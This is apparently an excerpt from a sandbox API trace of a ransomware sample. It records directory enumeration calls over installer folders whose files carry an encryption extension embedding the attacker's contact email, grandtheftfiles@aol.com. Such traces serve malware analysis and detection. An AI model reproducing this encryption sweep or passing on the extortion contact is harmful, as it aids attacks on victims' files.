	[0153.090] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1fef6a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1041", cAlternateFileName="")) returned 1
	[0153.090] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.090] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1fef6a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140258
	[0153.092] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1fef6a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.092] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f18c8c2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f18c8c2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.092] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1b4a64, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1fef6a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.092] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ff4209b, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ff4209b, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ffda9c5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.092] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ff4209b, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ff4209b, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ffda9c5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.092] FindClose (in: hFindFile=0x4140258 | out: hFindFile=0x4140258) returned 1
	[0153.093] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.093] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f30a005, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f30a005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1042", cAlternateFileName="")) returned 1
	[0153.093] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.093] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f30a005, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f30a005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x41407d8
	[0153.094] FindNextFileW (in: hFindFile=0x41407d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f30a005, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f30a005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.094] FindNextFileW (in: hFindFile=0x41407d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1fef6a, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1fef6a, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f2e402b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.094] FindNextFileW (in: hFindFile=0x41407d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f2253b3, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f2253b3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f30a005, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.095] FindNextFileW (in: hFindFile=0x41407d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ffda9c5, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ffda9c5, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa00cc9ba, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.095] FindNextFileW (in: hFindFile=0x41407d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ffda9c5, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ffda9c5, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa00cc9ba, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.095] FindClose (in: hFindFile=0x41407d8 | out: hFindFile=0x41407d8) returned 1
	[0153.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.095] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f3a290f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f3a290f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1043", cAlternateFileName="")) returned 1
	[0153.096] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.096] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f3a290f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f3a290f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x41400d8
	[0153.097] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f3a290f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f3a290f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.097] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f30a005, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f30a005, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f35679d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.097] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f330376, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f330376, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f37c8a6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.097] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa017e332, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa017e332, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01a4586, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.097] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa017e332, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa017e332, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01a4586, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.097] FindClose (in: hFindFile=0x41400d8 | out: hFindFile=0x41400d8) returned 1
	[0153.098] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.098] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4615a3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4615a3, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1044", cAlternateFileName="")) returned 1
	[0153.098] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.098] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4615a3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4615a3, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140458
	[0153.102] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4615a3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4615a3, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.102] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f37c8a6, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f37c8a6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f43b36b, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.102] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f3a290f, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f3a290f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4615a3, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.103] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa010be4c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa010be4c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01ca9c8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.103] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa010be4c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa010be4c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01ca9c8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.103] FindClose (in: hFindFile=0x4140458 | out: hFindFile=0x4140458) returned 1
	[0153.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.103] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4d3d89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4d3d89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1045", cAlternateFileName="")) returned 1
	[0153.104] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.104] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4d3d89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4d3d89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140858
	[0153.106] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f4d3d89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4d3d89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.106] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4615a3, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4615a3, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4ada3d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.106] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4877ba, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4877ba, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f4d3d89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.106] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa010be4c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa010be4c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0216cc9, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.106] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa010be4c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa010be4c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0216cc9, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.106] FindClose (in: hFindFile=0x4140858 | out: hFindFile=0x4140858) returned 1
	[0153.107] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.107] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f547c30, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f547c30, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1046", cAlternateFileName="")) returned 1
	[0153.107] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.107] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f547c30, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f547c30, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140258
	[0153.109] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f547c30, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f547c30, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.109] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4ada3d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4ada3d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f5200f5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.109] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f4f9fad, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f4f9fad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f5200f5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.109] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa017e332, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa017e332, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0450b53, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
